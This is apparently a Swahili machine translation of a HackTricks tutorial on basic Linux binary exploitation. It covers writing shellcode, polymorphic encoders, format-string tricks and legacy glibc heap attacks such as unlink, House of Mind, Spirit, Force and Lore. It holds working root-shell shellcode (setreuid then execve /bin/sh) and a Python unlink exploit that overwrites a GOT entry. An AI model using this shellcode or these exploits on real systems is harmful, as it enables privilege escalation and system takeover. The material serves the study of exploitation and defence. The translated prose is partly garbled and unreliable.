hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/README.md
2024-04-06 19:39:38 +00:00

31 KiB
Raw Blame History

Kudukua Linux (Msingi) (SPA)

Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

2.SHELLCODE

Angalia mapumziko ya kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; safisha eax
xor ebx, ebx ; ebx = 0 kwa sababu hakuna hoja ya kupitisha
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Tekeleza syscall

nasm -f elf assembly.asm —> Inarudi .o
ld assembly.o -o shellcodeout —> Inatoa faili inayoweza kutekelezwa iliyoundwa na msimbo wa mkusanyiko na tunaweza kutoa opcodes na objdump
objdump -d -Mintel ./shellcodeout —> Ili kuona kwamba kwa kweli ni shellcode yetu na kutoa OpCodes

Thibitisha kuwa shellcode inafanya kazi

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Ili kuhakikisha wito wa mfumo unafanywa kwa usahihi, lazima ucompile programu iliyopita na wito wa mfumo unapaswa kuonekana katika strace ./PROGRAMA_COMPILADO

Wakati wa kuunda shellcodes, unaweza kutumia hila. Maagizo ya kwanza ni jump kwenda kwenye wito. Wito unaita msimbo wa asili na pia huingiza EIP kwenye stack. Baada ya maagizo ya wito tumeweka string tunayohitaji, kwa hivyo na EIP hiyo tunaweza kuelekeza kwenye string na kuendelea kutekeleza msimbo.

EJ HILA (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Kutumia Stack(/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Mwindaji wa Yai:

Inajumuisha nambari ndogo inayopitia kurasa za kumbukumbu zinazohusiana na mchakato kutafuta shellcode iliyohifadhiwa hapo (inatafuta saini yoyote iliyowekwa kwenye shellcode). Inatumika katika hali ambapo kuna nafasi ndogo tu ya kuingiza nambari.

Shellcodes za Polimofiki

Hizi ni shell zilizofichwa ambazo zina nambari ndogo za kuzificha na kuziruka, zikitumia mbinu ya Call-Pop hii itakuwa mfano wa kificho cha Caesar kilichofichwa:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5. Mbinu Zingine

Mbinu ya Murat

Katika linux, programu zote zinamapishwa kuanzia 0xbfffffff

Kwa kuangalia jinsi mizizi ya mchakato mpya inavyojengwa katika linux, unaweza kuendeleza exploit ili programu ianzishwe katika mazingira ambayo variable pekee ni shellcode. Kisha anwani ya hii inaweza kuhesabiwa kama: addr = 0xbfffffff - 4 - strlen(JINA_la_programu_kamili) - strlen(shellcode)

Kwa njia hii, unaweza kwa urahisi kupata anwani ambapo variable ya mazingira iko na shellcode.

Hii inawezekana kwa sababu kazi ya execle inaruhusu kuunda mazingira ambayo ina viwango vya mazingira vinavyotakiwa tu

Muundo wa Strings kwa Buffer Overflows

sprintf inahamisha string iliyoundwa kwa variable. Kwa hivyo, unaweza kutumia muundo wa string kusababisha buffer overflow kwenye variable ambapo maudhui yanakopiwa. Kwa mfano, payload %.44xAAAA itaandika 44B+"AAAA" kwenye variable, ambayo inaweza kusababisha buffer overflow.

Miundo ya __atexit

{% hint style="danger" %} Leo ni kigeni kuitumia hii. {% endhint %}

atexit() ni kazi ambayo kazi zingine hupitishwa kama paramita. Hizi kazi zitatekelezwa wakati wa kutekeleza exit() au kurudi kwa msingi. Ikiwa unaweza kubadilisha anwani ya moja ya hizi kazi ili ielekee shellcode kwa mfano, utapata udhibiti wa mchakato, lakini hii ni ngumu zaidi sasa. Anwani za kazi za kutekelezwa sasa zimefichwa nyuma ya miundo kadhaa na mwishowe anwani ambayo inaelekeza sio anwani za kazi, bali zime fichwa kwa XOR na vigeuzi vya ufunguo wa nasibu. Kwa hivyo, vector huu wa shambulio sio wa kufaa sana angalau kwa x86 na x64_86. Kazi ya kuficha ni PTR_MANGLE. Miundo mingine kama m68k, mips32, mips64, aarch64, arm, hppa... hawatekelezi kazi ya kuficha kwa sababu inarejesha sawa na ilivyopokea kama kuingia. Kwa hivyo miundo hii inaweza kushambuliwa kupitia vector huu.

setjmp() & longjmp()

{% hint style="danger" %} Leo ni kigeni kuitumia hii. {% endhint %}

Setjmp() inaruhusu kuhifadhi muktadha (virejeshi)
longjmp() inaruhusu kurudisha muktadha.
Virejeshi vilivyohifadhiwa ni: EBX, ESI, EDI, ESP, EIP, EBP
Kile kinachotokea ni kwamba EIP na ESP hupitishwa na PTR_MANGLE kwa hivyo miundo inayoweza kushambuliwa na hii ni ile ile kama hapo juu.
Ni muhimu kwa kupona kosa au kuingilia.
Walakini, kutokana na nilichosoma, virejeshi vingine havilindwi, kwa hivyo ikiwa kuna call ebx, call esi au call edi ndani ya kazi inayoitwa, udhibiti unaweza kuchukuliwa. Au unaweza pia kubadilisha EBP kubadilisha ESP.

VTable na VPTR katika C++

Kila darasa lina Vtable ambayo ni safu ya pointa kwa njia.

Kila kitu cha darasa ina VPtr ambayo ni pointa kwa safu ya darasa yake. VPtr ni sehemu ya kichwa cha kila kitu, kwa hivyo ikiwa ubadilishaji wa VPtr unafanikiwa inaweza kubadilishwa kuwa pointa kwa njia bandia ili kutekeleza kazi iende kwa shellcode.

Hatua za Kuzuia na Kuepuka

Kuchukua Nafasi ya Libsafe

Inawezeshwa na: LD_PRELOAD=/lib/libsafe.so.2
au
“/lib/libsave.so.2” > /etc/ld.so.preload

Inazuia wito kwa kazi fulani hatari kwa kazi salama. Haijathibitishwa (kwa x86 tu, sio kwa ujenzi na -fomit-frame-pointer, sio ujenzi wa static, sio kila kazi hatari inageuzwa kuwa salama na LD_PRELOAD haifanyi kazi kwa binari zenye suid).

Nafasi ya Anwani ya Nafasi ya ASCII

Inahusisha kupakia maktaba zilizoshirikiwa kutoka 0x00000000 hadi 0x00ffffff ili daima iwe na byte 0x00. Walakini, hii haizuili karibu shambulio lolote, na hasa katika mfumo wa little endian.

ret2plt

Inahusisha kufanya ROP ili kuita kazi ya strcpy@plt (kutoka kwa plt) na kuelekeza kuingia ya GOT na kunakili byte ya kwanza ya kazi inayotaka kuitwa (system()). Kisha unafanya hivyo kwa kuelekeza kwa GOT+1 na kunakili byte ya pili ya system()… Mwishowe unaita anwani iliyohifadhiwa kwenye GOT ambayo itakuwa system()

Jela na chroot()

debootstrap -arch=i386 hardy /home/user —> Inasakinisha mfumo wa msingi chini ya saraka maalum

Msimamizi anaweza kutoka kwa moja ya majela haya kwa kufanya: mkdir foo; chroot foo; cd ..

Ugunduzi wa Kanuni

Valgrind —> Inatafuta makosa
Memcheck
RAD (Return Address Defender)
Insure++

8 Mabomu ya Heap: Exploits ya Msingi

Kipande kilichopewa

prev_size |
size | —Kichwa
*mem | Data

Kipande cha bure

prev_size |
size |
*fd | Ptr mbele ya kipande
*bk | Ptr nyuma ya kipande —Kichwa
*mem | Data

Vipande vya bure viko kwenye orodha iliyofungwa mara mbili (bin) na kamwe haziwezi kuwa na vipande viwili vya bure pamoja (vinajiunga)

Katika "size" kuna bits za kuonyesha: Ikiwa kipande cha awali kina matumizi, ikiwa kipande kimepewa kwa kutumia mmap() na ikiwa kipande kinamiliki uwanja wa msingi.

Ikiwa unapofuta kipande kimoja, yoyote ya vipande vinavyopakana ni huru, hivi vinajumuishwa kupitia macro unlink() na kipande kipya kikubwa zaidi kinapitishwa kwa frontlink() ili kiingize bin sahihi.

unlink(){
BK = P->bk; —> BK ya kipande kipya ni ile iliyokuwa huru awali
FD = P->fd; —> FD ya kipande kipya ni ile iliyokuwa huru awali
FD->bk = BK; —> BK ya kipande kinachofuata inaelekeza kwa kipande kipya
BK->fd = FD; —> FD ya kipande kilichotangulia inaelekeza kwa kipande kipya
}

Kwa hivyo, ikiwa tunaweza kubadilisha P->bk na anwani ya shellcode na P->fd na anwani kwa kuingia kwenye GOT au DTORS chini ya 12, tunafanikiwa:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

Na hivyo shellcode itatekelezwa wakati wa kutoka kwa programu.

Zaidi ya hayo, sentensi ya 4 ya unlink() inaandika kitu na shellcode lazima ibadilishwe kwa hili:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Hii husababisha kuandika byte 4 kutoka kwa byte ya 8 ya shellcode, kwa hivyo maagizo ya kwanza ya shellcode lazima iwe ni jmp ili kupita hii na kuingia kwenye nops ambayo itaendelea na shellcode.

Kwa hivyo, shambulio linajengwa:

Kwenye buffer1 tunaweka shellcode ikiwaanza na jmp ili iangukie kwenye nops au kwenye sehemu nyingine ya shellcode.

Baada ya shell code tunaweka kujaza hadi kufikia uwanja wa prev_size na size wa kipande kinachofuata. Mahali hapa tunaweka 0xfffffff0 (ili kubadilisha prev_size ili iwe na bit inayosema ni huru) na "-4" (0xfffffffc) kwenye size (ili wakati wa kuchunguza kipande cha 3 ikiwa kipande cha 2 kilikuwa huru kweli iende kwa prev_size iliyobadilishwa ambayo itaambia kwamba kipande cha 2 ni huru) -> Kwa hivyo wakati free() inachunguza itaenda kwa size ya 3 lakini kwa kweli itaenda kwa 2 - 4 na kufikiria kwamba kipande cha 2 ni huru. Na kisha itaita unlink(). Kwa kuita unlink() itatumia P->fd kama data ya kwanza ya sehemu ya pili hivyo anaweza kuweka anwani ambayo unataka kubadilisha - 12(kwa sababu katika FD->bk itaongeza 12 kwa anwani iliyohifadhiwa katika FD). Na katika anwani hiyo ataweka anwani ya pili anayopata katika sehemu ya pili, ambayo itakuwa anwani ya shellcode(P->bk bandia).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes ya kujaza

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Inahitaji bit inayoonyesha kwamba sehemu iliyotangulia iko huru iwe 1

fake_size = pack("<I”, 0xfffffffc) #-4, ili iweze kufikiria kwamba "size" ya sehemu ya tatu iko nyuma kwa bytes 4 (inamaanisha prev_size) kwa sababu ndio mahali inapoangalia ikiwa sehemu ya pili iko huru

addr_sc = pack("<I", 0x0804a008 + 8) #Katika payload mwanzoni tutaweka bytes 8 za kujaza

got_free = pack("<I", 0x08048300 - 12) #Anwani ya free() katika plt-12 (itakuwa anwani itakayobadilishwa ili kuzindua shellcode mara ya pili free inaitwa)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #Kama ilivyosemwa payload inaanza na bytes 8 za kujaza kwa sababu

payload += prev_size + fake_size + got_free + addr_sc #Sehemu ya pili inabadilishwa, got_free inaelekeza mahali tutahifadhi anwani addr_sc + 12

os.system("./8.3.o " + payload)

unset() ikiruhusu kwa mtiririko wa nyuma (wargame)

Tunadhibiti vifungu 3 mfululizo na huru kwa mpangilio wa nyuma wa kuhifadhiwa.

Katika kesi hiyo:

Katika kifungu c shellcode inawekwa

Tunatumia kifungu a kusajili b ili ukubwa uwe na biti ya PREV_INUSE iliyozimwa ili iweze kufikiria kwamba kifungu a kiko huru.

Zaidi ya hayo, tunasajili kichwa cha b ukubwa uwe -4.

Kwa hiyo, programu itafikiria "a" iko huru na kwenye benki, hivyo itaita unlink() kuiondoa. Hata hivyo, kwa sababu kichwa cha PREV_SIZE ni -4. Itafikiria kwamba kifungu cha "a" kinaanza kwenye b+4. Yaani, itafanya unlink() kwa kifungu kinachoanza kwenye b+4, kwa hivyo kwenye b+12 kutakuwa na pointer "fd" na kwenye b+16 kutakuwa na pointer "bk".

Kwa njia hii, tukiweka anwani ya shellcode kwenye bk na anwani ya kazi ya "puts()" -12 kwenye fd tunapata payload yetu.

Mbinu ya Frontlink

Frontlink inaitwa wakati kitu kinahifadhiwa na hakuna vifungu vyake vya pembeni vinavyo huru, unlink() haitelewi bali frontlink() inaitwa moja kwa moja.

Udhaifu ni muhimu wakati malloc inayoshambuliwa kamwe haiachiwi (free()).

Inahitaji:

Buffer ambalo linaweza kufurika na kuingiza data

Buffer unaoambatana na huu ambao unapaswa kuachiliwa na ambao shamba la fd la kichwa chake litabadilishwa kwa sababu ya kufurika kwa buffer uliopita

Buffer la kuachiliwa na ukubwa mkubwa kuliko 512 lakini ndogo kuliko buffer uliopita

Buffer uliotangazwa kabla ya hatua ya 3 ambayo inaruhusu kubadilisha prev_size yake

Kwa njia hii tunaweza kufanikiwa kufurika kwenye mallocs mbili kwa njia isiyo na kudhibitiwa na moja kwa njia iliyodhibitiwa lakini ni ile tu inayohifadhiwa, tunaweza kufanya shambulio.

Udhaifu wa double free()

Ikiwa free() inaitwa mara mbili na pointer sawa, kuna bins mbili zinazoashiria anwani ile ile.

Ikiwa unataka kutumia moja tena, unaweza kuipata bila shida. Ikiwa unataka kutumia nyingine, itapewa nafasi ile ile kwa hivyo tutakuwa na pointers "fd" na "bk" zilizodanganywa na data itakayohifadhiwa awali.

Baada ya free()

Pointer iliyotolewa awali inatumika tena bila kudhibitiwa.

8 Mafuriko ya Heap: Exploits ya juu

Mbinu za Unlink() na FrontLink() ziliondolewa kwa kubadilisha kazi ya unlink().

The house of mind

Ni wito mmoja tu wa free() unahitajika kusababisha utekelezaji wa nambari ya aina yoyote. Ni muhimu kutafuta kifungu cha pili ambacho kinaweza kufurika na kifungu cha kwanza na kuhifadhiwa.

Wito wa free() husababisha wito wa public_fREe(mem), hii inafanya:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Inarudisha pointer kwa anwani ambapo kifungu kinaanza (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

Katika [1] inathibitisha shamba la ukubwa NON_MAIN_ARENA, ambalo linaweza kubadilishwa ili uhakiki urudiwe kweli na kutekeleza heap_for_ptr() ambayo inafanya and kwa "mem" ikiiacha 0 kwa bytes 2.5 zisizo muhimu (katika kesi yetu ya 0x0804a000 inaacha 0x08000000) na kufikia 0x08000000->ar_ptr (kama ilivyo muundo wa struct heap_info)

Kwa njia hii, ikiwa tunaweza kudhibiti kifungu kwa mfano kwenye 0x0804a000 na kifungu kitahifadhiwa kwenye 0x081002a0 tunaweza kufikia anwani 0x08100000 na kuandika chochote tunachotaka, kwa mfano 0x0804a000. Wakati kifungu cha pili kitakapohifadhiwa kitagundua kwamba heap_for_ptr(ptr)->ar_ptr inarudi kile tulichoandika kwenye 0x08100000 (kwa sababu inatumia and kama ilivyoonekana hapo awali na kutoka hapo inachukua thamani ya bytes 4 za kwanza, ar_ptr)

Kwa njia hii wito wa _int_free(ar_ptr, mem) unaitwa, yaani, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Kama tulivyoona hapo awali tunaweza kudhibiti thamani ya av, kwa hivyo ndio tunachoandika kwenye kifungu kitakachohifadhiwa.

Kama ilivyoainishwa unsorted_chunks, tunajua kwamba:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Kwa hivyo ikiwa tunaweza kuandika thamani ya __DTOR_END__-12 kwenye av->bins[2] katika maagizo ya mwisho itaandikwa kwenye __DTOR_END__ anwani ya kifungu cha pili.

Yaani, kwenye kifungu cha kwanza tunapaswa kuweka anwani ya __DTOR_END__-12 mara nyingi mwanzoni kwa sababu ndio av->bins[2] itakayochukua. Kwenye anwani ambayo itaanguka anwani ya kifungu cha pili na sifuri tano za mwisho tunapaswa kuandika anwani ya kifungu cha kwanza ili heap_for_ptr() iweze kufikiria kwamba ar_ptr iko mwanzoni mwa kifungu cha kwanza na kutoka hapo itachukua av->bins[2] Katika sehemu ya pili na kwa msaada wa ya kwanza, tunaweza kubadilisha prev_size na jump 0x0c na size na kitu cha kuchochea -> NON_MAIN_ARENA

Kisha katika sehemu ya pili tunaweka nops nyingi na mwishowe shellcode

Hivyo itaita _int_free(TROZO1, TROZO2) na kufuata maagizo ya kuandika kwenye __DTOR_END__ anwani ya prev_size ya TROZO2 ambayo itaruka kwa shellcode.

Kutekeleza mbinu hii kuna mahitaji kadhaa ambayo yanafanya payload kuwa ngumu kidogo.

Mbinu hii sio tena inayoweza kutumika kwa sababu ilipata marekebisho sawa na yale ya unlink. Inalinganisha ikiwa eneo jipya linalolengwa pia linamlenga.

Fastbin

Ni toleo la The house of mind

Tunataka kufikia kutekeleza kanuni ifuatayo ambayo inafikiwa baada ya ukaguzi wa kwanza wa kazi ya _int_free()

fb = &(av->fastbins[fastbin_index(size)] —> Ikiwa fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

Hivyo, ikiwa tunaweka "fb" kwenye anwani ya kazi katika GOT, kwenye anwani hii tutaweka anwani ya trozo iliyobadilishwa. Kwa hili, ni muhimu kwamba uwanja uko karibu na anwani za dtors. Hasa, av->max_fast iko kwenye anwani tunayotaka kubadilisha.

Kwa kuwa The House of Mind ilionyesha kwamba sisi tulikuwa tunadhibiti nafasi ya av.

Kwa hivyo, ikiwa tunaweka ukubwa wa 8 + NON_MAIN_ARENA + PREV_INUSE kwenye uga wa size -> fastbin_index() itarudisha fastbins[-1], ambayo italenga av->max_fast

Katika kesi hii, av->max_fast itakuwa anwani itakayobadilishwa (sio anwani inayolengwa, lakini nafasi hiyo ndio itakayobadilishwa).

Pia, lazima trozo linalopakana na lile lililowekwa huru liwe kubwa kuliko 8 -> Kwa kuwa tumesema ukubwa wa trozo lililowekwa huru ni 8, katika trozo hili la uwongo tunahitaji tu kuweka ukubwa mkubwa kuliko 8 (kwa kuongezea, shellcode itakuwa kwenye trozo lililowekwa huru, hivyo lazima tuweke jump mwanzoni ambao utaanguka kwenye nops).

Zaidi ya hayo, trozo hilo la uwongo linapaswa kuwa dogo kuliko av->system_mem. av->system_mem iko 1848 bytes mbali.

Kwa sababu ya nulls katika _DTOR_END_ na idadi ndogo ya anwani katika GOT, hakuna anwani kutoka sehemu hizi zinazofaa kubadilishwa, hivyo tuchunguze jinsi ya kutumia fastbin kushambulia safu.

Njia nyingine ya shambulio ni kuelekeza av kuelekea safu.

Ikiwa tunabadilisha ukubwa ili uwe 16 badala ya 8 basi: fastbin_index() itarudisha fastbins[0] na tunaweza kutumia hii kubadilisha safu.

Kwa hili, hakuna canary au thamani za ajabu kwenye safu, kwa kweli tunahitaji kuwa katika hali hii: 4bytes za null + EBP + RET

4 bytes za null zinahitajika ili av iwe kwenye anwani hii na kipengele cha kwanza cha av ni mutex ambayo lazima iwe 0.

av->max_fast itakuwa EBP na itakuwa thamani itakayotusaidia kusonga mbele.

Katika av->fastbins[0] itabadilishwa na anwani ya p na itakuwa RET, hivyo itaruka kwenye shellcode.

Zaidi, katika av->system_mem (1484bytes juu ya nafasi kwenye safu) kutakuwa na takataka nyingi ambazo zitaruhusu kusonga mbele kwa ukaguzi uliofanywa.

Pia, lazima trozo linalopakana na lile lililowekwa huru liwe kubwa kuliko 8 -> Kwa kuwa tumesema ukubwa wa trozo lililowekwa huru ni 16, katika trozo hili la uwongo tunahitaji tu kuweka ukubwa mkubwa kuliko 8 (kwa kuongezea, shellcode itakuwa kwenye trozo lililowekwa huru, hivyo lazima tuweke jump mwanzoni ambao utaanguka kwenye nops zilizo baada ya uga wa size wa trozo jipya la uwongo).

The House of Spirit

Katika kesi hii tunatafuta kuwa na pointer kwa malloc ambayo inaweza kubadilishwa na mshambuliaji (kwa mfano, pointer iko kwenye stack chini ya overflow inayowezekana kwa variable).

Hivyo, tunaweza kufanya pointer huu uelekee popote. Hata hivyo, sio kila eneo ni sahihi, ukubwa wa trozo iliyobadilishwa lazima iwe ndogo kuliko av->max_fast na hasa sawa na ukubwa ulioombwa katika wito wa baadaye wa malloc()+8. Kwa hivyo, ikiwa tunajua kwamba baada ya pointer huu wa hatari kuna wito wa malloc(40), ukubwa wa trozo iliyobadilishwa lazima iwe sawa na 48.

Kwa mfano, ikiwa programu itauliza mtumiaji nambari tunaweza kuingiza 48 na kuuelekeza pointer wa malloc uliobadilishwa kwa 4bytes zifuatazo (ambazo zinaweza kuwa sehemu ya EBP kwa bahati nzuri, hivyo 48 inabaki nyuma, kana kwamba ni kichwa cha ukubwa). Zaidi, anwani ptr-4+48 lazima izingatie masharti kadhaa (ikiwa katika kesi hii ptr=EBP), yaani, 8 < ptr-4+48 < av->system_mem.

Ikiwa hii itatimizwa, wakati wito ujao wa malloc ambao tulisema ni malloc(40) utaitwa, anwani itakayopewa itakuwa anwani ya EBP. Ikiwa mshambuliaji pia anaweza kudhibiti kile kinachoandikwa kwenye malloc hii anaweza kubadilisha EBP na EIP na anwani anayotaka.

Nadhani hii ni kwa sababu wakati free() inaitwa itahifadhi kwamba kuna trozo la ukubwa kamili kwa malloc() mpya inayotaka kuweka akiba kwenye anwani inayoelekeza EBP ya stack, hivyo inampa anwani hiyo.

The House of Force

Inahitajika:

  • Kujaza kwa trozo ambalo inaruhusu kubadilisha wilderness
  • Wito wa malloc() na ukubwa uliowekwa na mtumiaji
  • Wito wa malloc() ambao data zake zinaweza kufafanuliwa na mtumiaji

Jambo la kwanza ni kubadilisha ukubwa wa trozo la wilderness na thamani kubwa sana (0xffffffff), hivyo ombi lolote la ukubwa wa kutosha litashughulikiwa katika _int_malloc() bila haja ya kupanua heap

Jambo la pili ni kubadilisha av->top ili ielekee eneo la kumbukumbu chini ya udhibiti wa mshambuliaji, kama stack. Katika av->top tutaweka &EIP - 8.

Tunahitaji kubadilisha av->top ili ielekee eneo la kumbukumbu chini ya udhibiti wa mshambuliaji:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim inachukua thamani ya anwani ya trozo la wilderness la sasa (av->top ya sasa) na remainder ni hasa jumla ya anwani hiyo na idadi ya bytes zilizoombwa na malloc(). Kwa hivyo, ikiwa &EIP-8 iko kwenye 0xbffff224 na av->top ina 0x080c2788, basi idadi ya bytes tunayopaswa kuweka akiba kwenye malloc iliyodhibitiwa ili av->top ielekee $EIP-8 kwa malloc() ijayo itakuwa:

0xbffff224 - 0x080c2788 = 3086207644.

Hivyo, thamani iliyobadilishwa itahifadhiwa kwenye av->top na malloc ijayo itaelekeza kwa EIP na itaweza kubadilishwa.

Ni muhimu kujua kwamba ukubwa wa trozo jipya la wilderness uwe mkubwa kuliko ombi lililofanywa na malloc() la mwisho. Yaani, ikiwa wilderness inaelekeza kwa &EIP-8, ukubwa utabaki kwenye uga wa EBP wa stack.

The House of Lore

Corruption SmallBin

Trozo zilizowekwa huru huingizwa kwenye bin kulingana na ukubwa wao. Lakini kabla ya kuingizwa, zinahifadhiwa kwenye unsorted bins. Trozo lililowekwa huru halijiweki moja kwa moja kwenye bin yake bali linabaki kwenye unsorted bins. Kisha, ikiwa trozo jipya linaweza kutumika kwa trozo lililowekwa huru, linarudishwa, lakini ikiwa trozo jipya ni kubwa zaidi, trozo lililowekwa huru kwenye unsorted bins linawekwa kwenye bin yake sahihi.

Ili kufikia kanuni ya kuharibika, ombi la kumbukumbu lazima liwe kubwa kuliko av->max_fast (kawaida 72) na chini ya MIN_LARGE_SIZE (512). Ikiwa kuna kipande cha ukubwa unaofaa katika bin, basi kitapelekwa baada ya kufunguliwa:

bck = victim->bk; Inaelekeza kwa kipande kilichotangulia, hii ndio habari pekee tunayoweza kubadilisha.

bin->bk = bck; Kipande cha pili kutoka mwisho kinakuwa cha mwisho, ikiwa bck inaelekeza kwa stack kwa kipande kinachofuata kilichoreswa, itapewa anwani hii

bck->fd = bin; Orodha inafungwa kwa kufanya hii ielekee bin

Inahitajika:

Kuweka malloc mbili, ili ya kwanza iweze kufanya overflow baada ya ya pili kuwa imeachiliwa na kuingizwa kwenye bin yake (yaani, malloc kubwa zaidi kuliko kipande cha pili kabla ya kufanya overflow)

Malloc iliyowekwa ambayo inapewa anwani iliyochaguliwa na mshambuliaji inadhibitiwa na mshambuliaji.

Lengo ni kama ifuatavyo, ikiwa tunaweza kufanya overflow kwa heap ambayo ina kipande kilichofunguliwa chini yake na kwenye bin yake, tunaweza kubadilisha pointer yake ya bk. Ikiwa tunabadilisha pointer yake ya bk na kipande hiki kinakuwa cha kwanza kwenye orodha ya bin na kisha kifunguliwe, bin itadanganywa na kuelezwa kuwa kipande cha mwisho kwenye orodha (kile kinachofuata) kipo kwenye anwani ya uwongo tuliyoweka (kwenye stack au GOT kwa mfano). Kwa hivyo, ikiwa kipande kingine kitafunguliwa na mshambuliaji ana ruhusa juu yake, atapewa kipande kwenye nafasi iliyokusudiwa na ataweza kuandika ndani yake.

Baada ya kufungua kipande kilichobadilishwa, ni muhimu kuweka kipande kikubwa kuliko kilichofunguliwa, hivyo kipande kilichobadilishwa kitatoka kwa unsorted bins na kuingizwa kwenye bin yake.

Marafiki kwenye bin wanapaswa kusubiri hadi wito wa malloc() ufanyike mara kutosha ili bin iliyobadilishwa itumike tena na kudanganya bin kwa kufanya iamini kipande kinachofuata kipo kwenye anwani ya uwongo. Na kisha kipande tunachotaka kitatolewa.

Ili kutekeleza udhaifu haraka iwezekanavyo, ni bora: Kuweka kipande kinachoweza kudhurika, kuweka kipande ambacho kitabadilishwa, kuachilia kipande hiki, kuweka kipande kikubwa kuliko kitakachobadilishwa, kubadilisha kipande (udhaifu), kuweka kipande cha ukubwa sawa na kilichovunjwa na kuweka kipande cha pili cha ukubwa sawa na hicho na hiki ndicho kitakachoelekeza kwenye anwani iliyochaguliwa.

Ili kulinda shambulio hili, uthibitisho wa kawaida kwamba kipande "si" ni uwongo hutumiwa: inathibitishwa ikiwa bck->fd inaelekeza kwa mwathiriwa. Yaani, katika kesi yetu ikiwa pointer fd* wa kipande cha uwongo kilichoelekezwa kwenye stack inaelekeza kwa mwathiriwa. Ili kuvuka kinga hii, mshambuliaji lazima aweze kuandika kwa njia fulani (labda kwa stack) kwenye anwani sahihi ya mwathiriwa. Ili ionekane kama kipande cha kweli.

Uharibifu wa LargeBin

Mahitaji sawa na hapo awali yanahitajika na mengine zaidi, pamoja na vipande vilivyowekwa lazima viwe vikubwa kuliko 512.

Shambulio ni kama lile la awali, yaani, lazima kubadilisha pointer ya bk na lazima kufanya wito wote huo wa malloc(), lakini pia lazima kubadilisha ukubwa wa kipande kilichobadilishwa ili ukubwa huo - nb uwe < MINSIZE.

Kwa mfano, itafanya ukubwa kuwa 1552 ili 1552 - 1544 = 8 < MINSIZE (kutoa haiwezi kuwa hasi kwa sababu inalinganishwa na unsigned)

Zaidi ya hayo, kuna kipande cha kurekebisha ili kufanya iwe ngumu zaidi.

Heap Spraying

Kimsingi inahusisha kuweka kumbukumbu yote inayowezekana kwa heaps na kuzijaza na safu ya nops zilizomalizika na shellcode. Zaidi, kama safu ya nops hutumiwa 0x0c. Kwa hivyo, jaribio litakuwa kusonga kwa anwani 0x0c0c0c0c, na hivyo ikiwa anwani yoyote itaandikwa juu na safu hii itaruka hapo. Kimsingi mkakati ni kuweka kiasi kikubwa iwezekanavyo kuona ikiwa pointer yoyote itaandikwa juu na kuruka kwa 0x0c0c0c0c kwa matumaini kwamba kuna nops huko.

